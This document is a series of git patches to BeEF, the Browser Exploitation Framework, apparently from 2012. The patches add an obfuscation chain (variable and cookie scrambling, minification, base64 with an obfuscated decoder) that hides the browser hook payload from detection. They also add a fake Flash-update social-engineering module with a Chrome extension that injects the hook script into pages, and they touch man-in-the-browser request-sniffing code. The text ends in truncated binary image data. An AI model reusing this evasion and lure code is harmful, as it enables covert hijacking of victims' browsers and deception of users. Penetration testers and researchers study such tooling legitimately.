From b7f60736313314c7bb58164890b53496a75523d0 Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Wed, 23 May 2012 13:43:28 +0100 Subject: [PATCH 01/26] Evasion: added helper module for common methods (random_string) --- extensions/evasion/helper.rb | 33 +++++++++++++++++++++++++++++++++ 1 file changed, 33 insertions(+) create mode 100644 extensions/evasion/helper.rb diff --git a/extensions/evasion/helper.rb b/extensions/evasion/helper.rb new file mode 100644 index 000000000..68eb9c3b0 --- /dev/null +++ b/extensions/evasion/helper.rb @@ -0,0 +1,33 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +module BeEF + module Extension + module Evasion + # Common methods used by multiple obfuscation techniques + module Helper + + def self.random_string(length=5) + chars = 'abcdefghjkmnpqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ' + result = '' + length.times { result << chars[rand(chars.size)] } + result + end + + end + end + end +end + From aee0b1e50f2b9e998273620421aa10910f0607df Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Wed, 23 May 2012 13:44:41 +0100 Subject: [PATCH 02/26] Evasion: scramble now stores random values in the config object, in order to be re-used later on in a consistent way. --- extensions/evasion/config.yaml | 4 ++- extensions/evasion/evasion.rb | 4 +++ extensions/evasion/extension.rb | 1 + extensions/evasion/obfuscation/base_64.rb | 9 +----- extensions/evasion/obfuscation/scramble.rb | 32 ++++++++++------------ 5 files changed, 23 insertions(+), 27 deletions(-) diff --git a/extensions/evasion/config.yaml b/extensions/evasion/config.yaml index d8603a43d..eae73d1f3 100644 --- a/extensions/evasion/config.yaml +++ b/extensions/evasion/config.yaml @@ -20,5 +20,7 @@ beef: name: 'Evasion' authors: ["antisnatchor"] scramble_variables: true - to_scramble: ["beef", "Beef"] + scramble: + beef: "beef" + Beef: "Beef" chain: ["scramble","minify","base_64"] \ No newline at end of file diff --git a/extensions/evasion/evasion.rb b/extensions/evasion/evasion.rb index 1ce45b1e7..044e63b7b 100644 --- a/extensions/evasion/evasion.rb +++ b/extensions/evasion/evasion.rb @@ -29,6 +29,10 @@ module BeEF @input = apply_chain(input, @@techniques) end + def inject_boostrapper(input) + # add stuff at the end, only once (when serving the initial init javascript) + end + def apply_chain(input, techniques) @output = input techniques.each do |technique| diff --git a/extensions/evasion/extension.rb b/extensions/evasion/extension.rb index dc81f5200..ce1fc360e 100644 --- a/extensions/evasion/extension.rb +++ b/extensions/evasion/extension.rb @@ -26,6 +26,7 @@ end end require 'extensions/evasion/evasion' +require 'extensions/evasion/helper' require 'extensions/evasion/obfuscation/scramble' require 'extensions/evasion/obfuscation/minify' require 'extensions/evasion/obfuscation/base_64' diff --git a/extensions/evasion/obfuscation/base_64.rb b/extensions/evasion/obfuscation/base_64.rb index 27c8e960a..b2ce0cd8e 100644 --- a/extensions/evasion/obfuscation/base_64.rb +++ b/extensions/evasion/obfuscation/base_64.rb @@ -19,18 +19,11 @@ module BeEF class Base_64 include Singleton - def random_string(length=5) - chars = 'abcdefghjkmnpqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ' - result = '' - length.times { result << chars[rand(chars.size)] } - result - end - def execute(input, config) encoded = Base64.strict_encode64(input) # basically, use atob if supported otherwise a normal base64 JS implementation (ie.: IE :-) decode_function = 'var _0x33db=["\x61\x74\x6F\x62","\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4A\x4B\x4C\x4D\x4E\x4F\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5A\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6A\x6B\x6C\x6D\x6E\x6F\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7A\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2B\x2F\x3D","","\x63\x68\x61\x72\x41\x74","\x69\x6E\x64\x65\x78\x4F\x66","\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65","\x6C\x65\x6E\x67\x74\x68","\x6A\x6F\x69\x6E"];function dec(_0x487fx2){if(window[_0x33db[0]]){return atob(_0x487fx2);} ;var _0x487fx3=_0x33db[1];var _0x487fx4,_0x487fx5,_0x487fx6,_0x487fx7,_0x487fx8,_0x487fx9,_0x487fxa,_0x487fxb,_0x487fxc=0,_0x487fxd=0,dec=_0x33db[2],_0x487fxe=[];if(!_0x487fx2){return _0x487fx2;} ;_0x487fx2+=_0x33db[2];do{_0x487fx7=_0x487fx3[_0x33db[4]](_0x487fx2[_0x33db[3]](_0x487fxc++));_0x487fx8=_0x487fx3[_0x33db[4]](_0x487fx2[_0x33db[3]](_0x487fxc++));_0x487fx9=_0x487fx3[_0x33db[4]](_0x487fx2[_0x33db[3]](_0x487fxc++));_0x487fxa=_0x487fx3[_0x33db[4]](_0x487fx2[_0x33db[3]](_0x487fxc++));_0x487fxb=_0x487fx7<<18|_0x487fx8<<12|_0x487fx9<<6|_0x487fxa;_0x487fx4=_0x487fxb>>16&0xff;_0x487fx5=_0x487fxb>>8&0xff;_0x487fx6=_0x487fxb&0xff;if(_0x487fx9==64){_0x487fxe[_0x487fxd++]=String[_0x33db[5]](_0x487fx4);} else {if(_0x487fxa==64){_0x487fxe[_0x487fxd++]=String[_0x33db[5]](_0x487fx4,_0x487fx5);} else {_0x487fxe[_0x487fxd++]=String[_0x33db[5]](_0x487fx4,_0x487fx5,_0x487fx6);} ;} ;} while(_0x487fxc<_0x487fx2[_0x33db[6]]);;dec=_0x487fxe[_0x33db[7]](_0x33db[2]);return dec;};' - var_name = random_string(3) + var_name = BeEF::Extension::Evasion::Helper::random_string(3) input = "var #{var_name}=\"#{encoded}\";#{decode_function}[].constructor.constructor(dec(#{var_name}))();" print_debug "[OBFUSCATION - BASE64] Javascript has been base64'ed'" input diff --git a/extensions/evasion/obfuscation/scramble.rb b/extensions/evasion/obfuscation/scramble.rb index c1450ee38..664673ca1 100644 --- a/extensions/evasion/obfuscation/scramble.rb +++ b/extensions/evasion/obfuscation/scramble.rb @@ -19,28 +19,24 @@ module BeEF class Scramble include Singleton - def random_string(length=5) - chars = 'abcdefghjkmnpqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ' - result = '' - length.times { result << chars[rand(chars.size)] } - result - end - def execute(input, config) - to_scramble = config.get('beef.extension.evasion.to_scramble') - to_scramble.each do |var| - mod_var = random_string - input = input.gsub!(var,random_string) - print_debug "[OBFUSCATION - SCRAMBLER] string [#{var}] scrambled -> [#{mod_var}]" - - #todo: add scrambled vars to an Hash. - #todo: even better. Add them to the Configuration object, like "beef" => "cnjD3" - #@@to_scramble = config.get('beef.http.evasion.scramble_variables') - #@@scrambled = Hash.new + to_scramble = config.get('beef.extension.evasion.scramble') + to_scramble.each do |var, value| + key = config.get("beef.extension.evasion.scramble.#{var}") + if value == key + # Variables have not been scrambled yet + mod_var = BeEF::Extension::Evasion::Helper::random_string(3) + input = input.gsub!(var,mod_var) + config.set("beef.extension.evasion.scramble.#{var}",mod_var) + print_debug "[OBFUSCATION - SCRAMBLER] string [#{var}] scrambled -> [#{mod_var}]" + else + # Variables already scrambled, re-use the one already created to maintain consistency + input = input.gsub!(var,value) + print_debug "[OBFUSCATION - SCRAMBLER] string [#{var}] scrambled -> [#{value}]" + end end input end - end end end From c1d021a7e8378d86ee233b6a91d5ec1fe9901dcb Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Wed, 23 May 2012 15:01:02 +0100 Subject: [PATCH 03/26] Evasion: Fixed bug in scrambler. --- extensions/evasion/obfuscation/scramble.rb | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/extensions/evasion/obfuscation/scramble.rb b/extensions/evasion/obfuscation/scramble.rb index 664673ca1..fda8c1aa5 100644 --- a/extensions/evasion/obfuscation/scramble.rb +++ b/extensions/evasion/obfuscation/scramble.rb @@ -18,24 +18,24 @@ module BeEF module Evasion class Scramble include Singleton - def execute(input, config) + @output = input to_scramble = config.get('beef.extension.evasion.scramble') to_scramble.each do |var, value| - key = config.get("beef.extension.evasion.scramble.#{var}") - if value == key + if var == value # Variables have not been scrambled yet mod_var = BeEF::Extension::Evasion::Helper::random_string(3) - input = input.gsub!(var,mod_var) + @output.gsub!(var,mod_var) config.set("beef.extension.evasion.scramble.#{var}",mod_var) print_debug "[OBFUSCATION - SCRAMBLER] string [#{var}] scrambled -> [#{mod_var}]" else # Variables already scrambled, re-use the one already created to maintain consistency - input = input.gsub!(var,value) + @output.gsub!(var,value) print_debug "[OBFUSCATION - SCRAMBLER] string [#{var}] scrambled -> [#{value}]" end + @output end - input + @output end end end From c79a2ee6f1129121bf22dd283bf7f95551a0d27c Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Wed, 23 May 2012 15:23:15 +0100 Subject: [PATCH 04/26] Evasion: Added bootstrapper functionality. Added support for obfuscate modules with the same techniques used for the hook. --- core/main/handlers/modules/beefjs.rb | 2 +- core/main/handlers/modules/command.rb | 42 +++++++++++++--------- extensions/evasion/evasion.rb | 21 +++++++++-- extensions/evasion/obfuscation/base_64.rb | 12 +++++-- extensions/evasion/obfuscation/minify.rb | 5 +++ extensions/evasion/obfuscation/scramble.rb | 5 +++ 6 files changed, 64 insertions(+), 23 deletions(-) diff --git a/core/main/handlers/modules/beefjs.rb b/core/main/handlers/modules/beefjs.rb index 2b8125c11..92473876d 100644 --- a/core/main/handlers/modules/beefjs.rb +++ b/core/main/handlers/modules/beefjs.rb @@ -77,7 +77,7 @@ module Modules if config.get("beef.extension.evasion.enable") evasion = BeEF::Extension::Evasion::Evasion.instance - @hook = evasion.obfuscate(@hook) + @hook = evasion.add_bootstrapper + evasion.obfuscate(@hook) end @body << @hook diff --git a/core/main/handlers/modules/command.rb b/core/main/handlers/modules/command.rb index 25c11865d..9d7646614 100644 --- a/core/main/handlers/modules/command.rb +++ b/core/main/handlers/modules/command.rb @@ -50,26 +50,34 @@ module BeEF build_missing_beefjs_components(command_module.beefjs_components) if not command_module.beefjs_components.empty? ws = BeEF::Core::Websocket::Websocket.instance + + if config.get("beef.extension.evasion.enable") + evasion = BeEF::Extension::Evasion::Evasion.instance + @output = evasion.obfuscate(command_module.output) + else + @output = command_module.output + end + #todo antisnatchor: remove this gsub crap adding some hook packing. if config.get("beef.http.websocket.enable") && ws.getsocket(hooked_browser.session) - content = command_module.output.gsub('// - // Copyright 2012 Wade Alcorn wade@bindshell.net - // - // Licensed under the Apache License, Version 2.0 (the "License"); - // you may not use this file except in compliance with the License. - // You may obtain a copy of the License at - // - // http://www.apache.org/licenses/LICENSE-2.0 - // - // Unless required by applicable law or agreed to in writing, software - // distributed under the License is distributed on an "AS IS" BASIS, - // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - // See the License for the specific language governing permissions and - // limitations under the License. - //', "") - ws.send(content, hooked_browser.session) + #content = command_module.output.gsub('// + #// Copyright 2012 Wade Alcorn wade@bindshell.net + #// + #// Licensed under the Apache License, Version 2.0 (the "License"); + #// you may not use this file except in compliance with the License. + #// You may obtain a copy of the License at + #// + #// http://www.apache.org/licenses/LICENSE-2.0 + #// + #// Unless required by applicable law or agreed to in writing, software + #// distributed under the License is distributed on an "AS IS" BASIS, + #// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + #// See the License for the specific language governing permissions and + #// limitations under the License. + #//', "") + ws.send(@output, hooked_browser.session) else - @body << command_module.output + "\n\n" + @body << @output + "\n\n" end # @note prints the event to the console if BeEF::Settings.console? diff --git a/extensions/evasion/evasion.rb b/extensions/evasion/evasion.rb index 044e63b7b..b86cca957 100644 --- a/extensions/evasion/evasion.rb +++ b/extensions/evasion/evasion.rb @@ -29,8 +29,24 @@ module BeEF @input = apply_chain(input, @@techniques) end - def inject_boostrapper(input) + def add_bootstrapper + @bootstrap = '' # add stuff at the end, only once (when serving the initial init javascript) + @@techniques.each do |technique| + #1. get the ruby module inside the obfuscation directory: the file name will be the same of the string used in "chain" + #2. call the "execute" method of the ruby module, passing the input + #3. update the input in order that next technique will work on the pre-processed input. + if File.exists?("#{$root_dir}/extensions/evasion/obfuscation/#{technique}.rb") + print_debug "[OBFUSCATION] Applying technique [#{technique}]" + klass = BeEF::Extension::Evasion.const_get(technique.capitalize).instance + is_bootstrap_needed = klass.need_bootstrap + if is_bootstrap_needed + @bootstrap += klass.get_bootstrap + end + end + @bootstrap + end + @bootstrap end def apply_chain(input, techniques) @@ -41,8 +57,7 @@ module BeEF #3. update the input in order that next technique will work on the pre-processed input. if File.exists?("#{$root_dir}/extensions/evasion/obfuscation/#{technique}.rb") print_debug "[OBFUSCATION] Applying technique [#{technique}]" - klass = BeEF::Extension::Evasion.const_get(technique.capitalize) - klass = klass.instance + klass = BeEF::Extension::Evasion.const_get(technique.capitalize).instance @output = klass.execute(@output, @@config) end @output diff --git a/extensions/evasion/obfuscation/base_64.rb b/extensions/evasion/obfuscation/base_64.rb index b2ce0cd8e..cf8a55309 100644 --- a/extensions/evasion/obfuscation/base_64.rb +++ b/extensions/evasion/obfuscation/base_64.rb @@ -19,12 +19,20 @@ module BeEF class Base_64 include Singleton + def need_bootstrap + true + end + + def get_bootstrap + # the decode function is obfuscated, and it's called "dec" (see below in "execute", where it is used) + decode_function = 'var _0x33db=["\x61\x74\x6F\x62","\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4A\x4B\x4C\x4D\x4E\x4F\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5A\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6A\x6B\x6C\x6D\x6E\x6F\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7A\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2B\x2F\x3D","","\x63\x68\x61\x72\x41\x74","\x69\x6E\x64\x65\x78\x4F\x66","\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65","\x6C\x65\x6E\x67\x74\x68","\x6A\x6F\x69\x6E"];function dec(_0x487fx2){if(window[_0x33db[0]]){return atob(_0x487fx2);} ;var _0x487fx3=_0x33db[1];var _0x487fx4,_0x487fx5,_0x487fx6,_0x487fx7,_0x487fx8,_0x487fx9,_0x487fxa,_0x487fxb,_0x487fxc=0,_0x487fxd=0,dec=_0x33db[2],_0x487fxe=[];if(!_0x487fx2){return _0x487fx2;} ;_0x487fx2+=_0x33db[2];do{_0x487fx7=_0x487fx3[_0x33db[4]](_0x487fx2[_0x33db[3]](_0x487fxc++));_0x487fx8=_0x487fx3[_0x33db[4]](_0x487fx2[_0x33db[3]](_0x487fxc++));_0x487fx9=_0x487fx3[_0x33db[4]](_0x487fx2[_0x33db[3]](_0x487fxc++));_0x487fxa=_0x487fx3[_0x33db[4]](_0x487fx2[_0x33db[3]](_0x487fxc++));_0x487fxb=_0x487fx7<<18|_0x487fx8<<12|_0x487fx9<<6|_0x487fxa;_0x487fx4=_0x487fxb>>16&0xff;_0x487fx5=_0x487fxb>>8&0xff;_0x487fx6=_0x487fxb&0xff;if(_0x487fx9==64){_0x487fxe[_0x487fxd++]=String[_0x33db[5]](_0x487fx4);} else {if(_0x487fxa==64){_0x487fxe[_0x487fxd++]=String[_0x33db[5]](_0x487fx4,_0x487fx5);} else {_0x487fxe[_0x487fxd++]=String[_0x33db[5]](_0x487fx4,_0x487fx5,_0x487fx6);} ;} ;} while(_0x487fxc<_0x487fx2[_0x33db[6]]);;dec=_0x487fxe[_0x33db[7]](_0x33db[2]);return dec;};' + end + def execute(input, config) encoded = Base64.strict_encode64(input) # basically, use atob if supported otherwise a normal base64 JS implementation (ie.: IE :-) - decode_function = 'var _0x33db=["\x61\x74\x6F\x62","\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4A\x4B\x4C\x4D\x4E\x4F\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5A\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6A\x6B\x6C\x6D\x6E\x6F\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7A\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2B\x2F\x3D","","\x63\x68\x61\x72\x41\x74","\x69\x6E\x64\x65\x78\x4F\x66","\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65","\x6C\x65\x6E\x67\x74\x68","\x6A\x6F\x69\x6E"];function dec(_0x487fx2){if(window[_0x33db[0]]){return atob(_0x487fx2);} ;var _0x487fx3=_0x33db[1];var _0x487fx4,_0x487fx5,_0x487fx6,_0x487fx7,_0x487fx8,_0x487fx9,_0x487fxa,_0x487fxb,_0x487fxc=0,_0x487fxd=0,dec=_0x33db[2],_0x487fxe=[];if(!_0x487fx2){return _0x487fx2;} ;_0x487fx2+=_0x33db[2];do{_0x487fx7=_0x487fx3[_0x33db[4]](_0x487fx2[_0x33db[3]](_0x487fxc++));_0x487fx8=_0x487fx3[_0x33db[4]](_0x487fx2[_0x33db[3]](_0x487fxc++));_0x487fx9=_0x487fx3[_0x33db[4]](_0x487fx2[_0x33db[3]](_0x487fxc++));_0x487fxa=_0x487fx3[_0x33db[4]](_0x487fx2[_0x33db[3]](_0x487fxc++));_0x487fxb=_0x487fx7<<18|_0x487fx8<<12|_0x487fx9<<6|_0x487fxa;_0x487fx4=_0x487fxb>>16&0xff;_0x487fx5=_0x487fxb>>8&0xff;_0x487fx6=_0x487fxb&0xff;if(_0x487fx9==64){_0x487fxe[_0x487fxd++]=String[_0x33db[5]](_0x487fx4);} else {if(_0x487fxa==64){_0x487fxe[_0x487fxd++]=String[_0x33db[5]](_0x487fx4,_0x487fx5);} else {_0x487fxe[_0x487fxd++]=String[_0x33db[5]](_0x487fx4,_0x487fx5,_0x487fx6);} ;} ;} while(_0x487fxc<_0x487fx2[_0x33db[6]]);;dec=_0x487fxe[_0x33db[7]](_0x33db[2]);return dec;};' var_name = BeEF::Extension::Evasion::Helper::random_string(3) - input = "var #{var_name}=\"#{encoded}\";#{decode_function}[].constructor.constructor(dec(#{var_name}))();" + input = "var #{var_name}=\"#{encoded}\";[].constructor.constructor(dec(#{var_name}))();" print_debug "[OBFUSCATION - BASE64] Javascript has been base64'ed'" input end diff --git a/extensions/evasion/obfuscation/minify.rb b/extensions/evasion/obfuscation/minify.rb index ec15424d5..048d5d53b 100644 --- a/extensions/evasion/obfuscation/minify.rb +++ b/extensions/evasion/obfuscation/minify.rb @@ -19,6 +19,11 @@ module BeEF require 'jsmin' class Minify include Singleton + + def need_bootstrap + false + end + def execute(input, config) input = JSMin.minify(input) print_debug "[OBFUSCATION - MINIFIER] Javascript has been minified" diff --git a/extensions/evasion/obfuscation/scramble.rb b/extensions/evasion/obfuscation/scramble.rb index fda8c1aa5..419bf4670 100644 --- a/extensions/evasion/obfuscation/scramble.rb +++ b/extensions/evasion/obfuscation/scramble.rb @@ -18,6 +18,11 @@ module BeEF module Evasion class Scramble include Singleton + + def need_bootstrap + false + end + def execute(input, config) @output = input to_scramble = config.get('beef.extension.evasion.scramble') From 0d2598e0b8ed5605de30ad6dbd133273380d896b Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Fri, 25 May 2012 11:18:33 +0100 Subject: [PATCH 05/26] MITB: closed expressions --- core/main/client/mitb.js | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/core/main/client/mitb.js b/core/main/client/mitb.js index b51a781a4..626b36ce8 100644 --- a/core/main/client/mitb.js +++ b/core/main/client/mitb.js @@ -177,7 +177,7 @@ beef.mitb = { target.innerHTML = y.responseText; setTimeout(beef.mitb.hook, 10); } - } + }; y.send(query); beef.mitb.sniff("POST: " + url + "[" + query + "]"); return true; @@ -227,7 +227,7 @@ beef.mitb = { target.innerHTML = y.responseText; setTimeout(beef.mitb.hook, 10); } - } + }; y.send(null); beef.mitb.sniff("GET: " + url); From b3f8504a2ec2734025d266fe5d7cbae677f428fd Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Fri, 25 May 2012 12:02:28 +0100 Subject: [PATCH 06/26] Evasion: added support to scramble cookies as well. --- extensions/evasion/config.yaml | 2 ++ extensions/evasion/obfuscation/scramble.rb | 15 +++++++++++++++ 2 files changed, 17 insertions(+) diff --git a/extensions/evasion/config.yaml b/extensions/evasion/config.yaml index eae73d1f3..b708a9ecb 100644 --- a/extensions/evasion/config.yaml +++ b/extensions/evasion/config.yaml @@ -20,7 +20,9 @@ beef: name: 'Evasion' authors: ["antisnatchor"] scramble_variables: true + scramble_cookies: true scramble: beef: "beef" Beef: "Beef" + evercookie: "evercookie" chain: ["scramble","minify","base_64"] \ No newline at end of file diff --git a/extensions/evasion/obfuscation/scramble.rb b/extensions/evasion/obfuscation/scramble.rb index 419bf4670..d14ca5cff 100644 --- a/extensions/evasion/obfuscation/scramble.rb +++ b/extensions/evasion/obfuscation/scramble.rb @@ -25,6 +25,7 @@ module BeEF def execute(input, config) @output = input + to_scramble = config.get('beef.extension.evasion.scramble') to_scramble.each do |var, value| if var == value @@ -40,6 +41,20 @@ module BeEF end @output end + + if config.get('beef.extension.evasion.scramble_cookies') + # ideally this should not be static, but it's static in JS code, so fine for nowend + mod_cookie = BeEF::Extension::Evasion::Helper::random_string(5) + if config.get('beef.http.hook_session_name') == "BEEFHOOK" + @output.gsub!("BEEFHOOK",mod_cookie) + config.set('beef.http.hook_session_name',mod_cookie) + print_debug "[OBFUSCATION - SCRAMBLER] cookie [BEEFHOOK] scrambled -> [#{mod_cookie}]" + else + @output.gsub!("BEEFHOOK",config.get('beef.http.hook_session_name')) + print_debug "[OBFUSCATION - SCRAMBLER] cookie [BEEFHOOK] scrambled -> [#{config.get('beef.http.hook_session_name')}]" + end + end + @output end end From dc040a51acad3538c45fb4cca468092904708710 Mon Sep 17 00:00:00 2001 From: Mike Haworth Date: Mon, 28 May 2012 00:17:53 +1200 Subject: [PATCH 07/26] added fake flash player module and chrome extension --- .../background.js | 4 ++ .../flash_update_chrome_extension/icon128.png | Bin 0 -> 11401 bytes .../flash_update_chrome_extension/icon16.png | Bin 0 -> 1689 bytes .../flash_update_chrome_extension/icon48.png | Bin 0 -> 3638 bytes .../manifest.json | 22 ++++++++++ extensions/demos/html/adobe_flash_update.crx | Bin 0 -> 17976 bytes extensions/demos/html/adobe_flash_update.png | Bin 0 -> 30402 bytes .../fake_flash_update/command.js | 32 +++++++++++++++ .../fake_flash_update/config.yaml | 25 ++++++++++++ .../fake_flash_update/module.rb | 38 ++++++++++++++++++ 10 files changed, 121 insertions(+) create mode 100644 extensions/demos/flash_update_chrome_extension/background.js create mode 100644 extensions/demos/flash_update_chrome_extension/icon128.png create mode 100644 extensions/demos/flash_update_chrome_extension/icon16.png create mode 100644 extensions/demos/flash_update_chrome_extension/icon48.png create mode 100644 extensions/demos/flash_update_chrome_extension/manifest.json create mode 100644 extensions/demos/html/adobe_flash_update.crx create mode 100644 extensions/demos/html/adobe_flash_update.png create mode 100644 modules/social_engineering/fake_flash_update/command.js create mode 100644 modules/social_engineering/fake_flash_update/config.yaml create mode 100644 modules/social_engineering/fake_flash_update/module.rb diff --git a/extensions/demos/flash_update_chrome_extension/background.js b/extensions/demos/flash_update_chrome_extension/background.js new file mode 100644 index 000000000..e20376b0e --- /dev/null +++ b/extensions/demos/flash_update_chrome_extension/background.js @@ -0,0 +1,4 @@ +d=document; +e=d.createElement('script'); +e.src="http://127.0.0.1:3000/hook.js"; +d.body.appendChild(e); diff --git a/extensions/demos/flash_update_chrome_extension/icon128.png b/extensions/demos/flash_update_chrome_extension/icon128.png new file mode 100644 index 0000000000000000000000000000000000000000..58a6ecc8546d0329b472377a3f54acbcb384f582 GIT binary patch literal 11401 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 